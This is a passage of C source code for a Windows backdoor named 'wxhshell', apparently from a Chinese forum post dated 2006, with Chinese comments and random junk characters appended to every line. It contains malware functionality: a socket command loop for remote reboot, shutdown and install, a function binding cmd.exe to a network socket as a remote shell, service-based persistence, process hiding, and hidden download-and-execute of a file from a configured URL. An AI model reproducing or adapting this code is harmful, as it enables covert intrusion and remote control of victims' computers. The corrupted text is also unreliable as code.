    switch(cmd[0]) { $1an#~  
  i6`"e[aT[o  
  // 帮助 @p+;iS1}  
  case '?': { |7s2xRc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x<NPp&GE  
    break; BX@Iq  
  } .V?:&_}_I6  
  // 安装 W(s4R,j  
  case 'i': { |^pev2g  
    if(Install()) 9E!le=>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NK_|h %  
    else {m.$EoS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p T(M>LP83  
    break; Ux [<g%F"  
    } /U~|B.z@6  
  // 卸载 \*xB<mq  
  case 'r': { 6[> lzEZ  
    if(Uninstall()) X*8y"~X|vq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %qP[+N&  
    else )h!cOEt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ISbs l =F  
    break;  P#,u9EIJ  
    }  QHEtG2  
  // 显示 wxhshell 所在路径 f!Q\M1t)  
  case 'p': { ~Iu!B Y  
    char svExeFile[MAX_PATH]; ggr  
    strcpy(svExeFile,"\n\r"); ;;Q^/rkC  
      strcat(svExeFile,ExeFile); )O]T}eI  
        send(wsh,svExeFile,strlen(svExeFile),0); WSkGVQu  
    break; E9HMhUe  
    } > VG  
  // 重启 H",B[ YK  
  case 'b': { AZtS4]4G)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a|aVc'j  
    if(Boot(REBOOT)) bLgH3[{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kNEEu! G  
    else { Lsmcj{1d  
    closesocket(wsh); ^PksXfk  
    ExitThread(0); J3K=z  
    } RgE`Hr  
    break; "/#JC} ]  
    } tT$OnZu&  
  // 关机 l\HdB"nT  
  case 'd': { ^URCnJ67Se  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mP(3[a_Q  
    if(Boot(SHUTDOWN)) Nk`UQ~g$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n/H OP  
    else { 0J)s2&H  
    closesocket(wsh); W .7rHa  
    ExitThread(0); {|+Y;V`  
    } GP|=4T}Bf  
    break; R$awgSE  
    } OW:*qY c;:  
  // 获取shell jcH@*c=%e  
  case 's': { nR!e(  
    CmdShell(wsh); ^rkKE dd  
    closesocket(wsh); PxHFH pL  
    ExitThread(0); !Brtao"m  
    break; fCl}eXg6w  
  } hGRj  
  // 退出 XC4Z,,ah"  
  case 'x': { QFyL2Xes/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mCtS_"W  
    CloseIt(wsh); 8s%/5v"  
    break; ^S9y7b^;r  
    } R`?l .0  
  // 离开 4JSPD#%f  
  case 'q': { ));#oQol9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +8=$-E=  
    closesocket(wsh); =lXj%V^8N  
    WSACleanup(); ]|;+2@kDR  
    exit(1); (}"D x3K  
    break; BG{f)2F\  
        } 'm%{Rz>j  
  } 2EY"[xK|  
  } ?mQ^"9^XS  
&v\F ah U  
  // 提示信息 |Lq8cA)|y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o<2GtF1"o  
} _`$LdqgE  
  }  )vr@:PE  
J( }2Ua_  
  return; @u3`lhUcT  
} 6Z/`p~e  
+)Te)^&v%  
// shell模块句柄 Z5{a7U4z_  
int CmdShell(SOCKET sock) :NzJvI<  
{ Ycm)PU["  
STARTUPINFO si; R+sT &d  
ZeroMemory(&si,sizeof(si)); FB=oGgwwq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lG*Rw-?a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5:Qz  
PROCESS_INFORMATION ProcessInfo; #F*|@  
char cmdline[]="cmd"; o3ZN0j69|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZTC>Ufu2!  
  return 0; Vs>Pv$kW  
} ]wQ!ZG?)  
v1h(_NLI!  
// 自身启动模式 [;E%o^/^  
int StartFromService(void) ?5|;3N/zt  
{ eh# 37*-  
typedef struct FR(W.5[  
{ ^}3^|jF  
  DWORD ExitStatus; <QtZ6-;_f  
  DWORD PebBaseAddress; fF:57*ys  
  DWORD AffinityMask; -F[8 ZiZ  
  DWORD BasePriority; 8$Q`wRt(%  
  ULONG UniqueProcessId; l =^A41L_  
  ULONG InheritedFromUniqueProcessId; vccWe7rh  
}   PROCESS_BASIC_INFORMATION; LyUn!zV$(  
4.6$m  
PROCNTQSIP NtQueryInformationProcess; <sdgL+&1h  
&9k~\;x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  urp|@WZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `s}*  
p< R:[rz  
  HANDLE             hProcess; fBO/0uW  
  PROCESS_BASIC_INFORMATION pbi; 95;{ms[  
[ X*p [  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Re%[t9 F&  
  if(NULL == hInst ) return 0; Gk;YAI  
ia6 jiW x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,,3lH-C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PN}+LOD<t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #mH@ /6,#[  
:,BAw ,  
  if (!NtQueryInformationProcess) return 0; 5Iu5N0cn  
B6XO&I1c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tMr7d  
  if(!hProcess) return 0; &|SWy 2 N  
]A4=/6`g?b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {+N< 9(O  
K2m>D=w  
  CloseHandle(hProcess); AZ:7_4jz  
n `j._G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~{x1/eH  
if(hProcess==NULL) return 0; M,Gy.ivz  
VA/2$5Wu  
HMODULE hMod; [X(m[u'%  
char procName[255]; o7y<Zd`Bj  
unsigned long cbNeeded; l![M,8  
%wD#[<BGn>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9t! d.}  
N#w5}It  
  CloseHandle(hProcess); `RTxc  
#-az]s|N  
if(strstr(procName,"services")) return 1; // 以服务启动 Bz+oM N#XJ  
W5j wD  
  return 0; // 注册表启动 !_glZ*tL  
} ~$!,-r  
g`EZLDjt  
// 主模块 ^0,}y]5p  
int StartWxhshell(LPSTR lpCmdLine) PZ[-a-p40  
{ iUKjCq02  
  SOCKET wsl; s|YH_1r  
BOOL val=TRUE; DR"Y(-xl  
  int port=0; ?pL|eS7  
  struct sockaddr_in door; ulR yt^bx|  
h*%p%t<  
  if(wscfg.ws_autoins) Install(); (6,:X  
7o4E_ .*  
port=atoi(lpCmdLine); H`[FC|RYyE  
g&RpE41x  
if(port<=0) port=wscfg.ws_port; ~tUZQ5"  
<O jK $KV  
  WSADATA data; o:8ns m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vgW(l2,@  
g$(Y\`zw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _KRnx-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nr4Fp`b8  
  door.sin_family = AF_INET; a%q,P @8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L03I:IJ  
  door.sin_port = htons(port); ui]iO p  
1q}32^>+o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +\dVC,,=^g  
closesocket(wsl); $G=^cNB|JB  
return 1; C&O8fNB_  
} )Rr6@o  
l&& i`  
  if(listen(wsl,2) == INVALID_SOCKET) { 3h bHS~  
closesocket(wsl); >WHajYO"  
return 1; v}>g* @  
} Z<U,]iZB  
  Wxhshell(wsl); 8~y!X0Ov!  
  WSACleanup(); 6Ga'_P:  
[[T7s(3  
return 0; ueg%yvO  
\Y xG  
} l@Lk+-[D  
 ZllmaI  
// 以NT服务方式启动 o HK   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HB9"T5Pd*  
{ ]H`wE_2tu  
DWORD   status = 0; `(W"wC   
  DWORD   specificError = 0xfffffff; F"Dr(V  
8%4;'[UV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9FEhl~&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZfM]A)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e.\>GwM  
  serviceStatus.dwWin32ExitCode     = 0; m?-)SA  
  serviceStatus.dwServiceSpecificExitCode = 0; $$AZ)#t[  
  serviceStatus.dwCheckPoint       = 0; 9G6)ja?W  
  serviceStatus.dwWaitHint       = 0; dcKpsX  
h!B{7J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >A )Sl'  
  if (hServiceStatusHandle==0) return; $GoS?\G  
j ,rc9  
status = GetLastError(); 8;M,l2pmR{  
  if (status!=NO_ERROR) \t{iyUxY  
{ `=Mk6$%Cs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5|0}bv O  
    serviceStatus.dwCheckPoint       = 0; n3e,vP? R  
    serviceStatus.dwWaitHint       = 0; $#^3>u  
    serviceStatus.dwWin32ExitCode     = status; e {6wFN  
    serviceStatus.dwServiceSpecificExitCode = specificError; _d!sSyk`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5?3v;B6  
    return; fwpp qIM  
  } CW;zviH5  
CfOyHhhKX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X8}r= K~  
  serviceStatus.dwCheckPoint       = 0; <v ub Q4  
  serviceStatus.dwWaitHint       = 0; c| %5SA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2tU3p<[  
} S5|7D[*  
:F d1k Jm  
// 处理NT服务事件,比如:启动、停止 4#t'1tzu#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &"u(0q  
{ 7Kym|Zg  
switch(fdwControl) t{,$?}  
{ 2NFk#_9e~  
case SERVICE_CONTROL_STOP: U["<f`z4\  
  serviceStatus.dwWin32ExitCode = 0; 3 EAr=E]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K-YxZAf  
  serviceStatus.dwCheckPoint   = 0; 9#H0|zL  
  serviceStatus.dwWaitHint     = 0; CCpRQKb=  
  {  7]@M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u%L6@M2  
  } (,"%fc7<i  
  return; Q3=X#FQ  
case SERVICE_CONTROL_PAUSE: D~inR3(}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~N /%R>(v  
  break; Sh;`<Ggi~  
case SERVICE_CONTROL_CONTINUE: ?Gf'G{^}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K*^'t ltJ  
  break; hgZvti  
case SERVICE_CONTROL_INTERROGATE: M"mvPr9  
  break;  WLWfe-  
}; lf\"6VIsR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \;%D;3Au  
} =ZHN]PP  
yI=nu53BV  
// 标准应用程序主函数 Z4 z|B&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :Gz$(!j1.'  
{ h-.^*=]R6  
uA`e  
// 获取操作系统版本 vkLt#yj~  
OsIsNt=GetOsVer(); !B[ Y?b:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e_Zs4\^ef  
C&F% j.<  
  // 从命令行安装 kFJ]F |^7  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7<kr|-  
;E}&{w/My  
  // 下载执行文件 x ~l"'qsK  
if(wscfg.ws_downexe) { e?\Od}Hbw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0#c-qy  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1`II%mf[  
} i Q3wi  
AU*]D@H  
if(!OsIsNt) { daY0;,>  
// 如果时win9x,隐藏进程并且设置为注册表启动 M|y!,/'  
HideProc(); qZQm*q(jM  
StartWxhshell(lpCmdLine); B'Nvl#  
} FpttH?^  
else @#"K6  
  if(StartFromService())  :A#'8xE/  
  // 以服务方式启动 6o#J  
  StartServiceCtrlDispatcher(DispatchTable); ;8F6a:\v  
else <)cmI .J3  
  // 普通方式启动 wQ-BY"cK\  
  StartWxhshell(lpCmdLine); KW0KXO06a  
c5CxR#O  
return 0; 7F~Jz*,B*W  
}
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只看该作者 1 发表于: 2006-10-10
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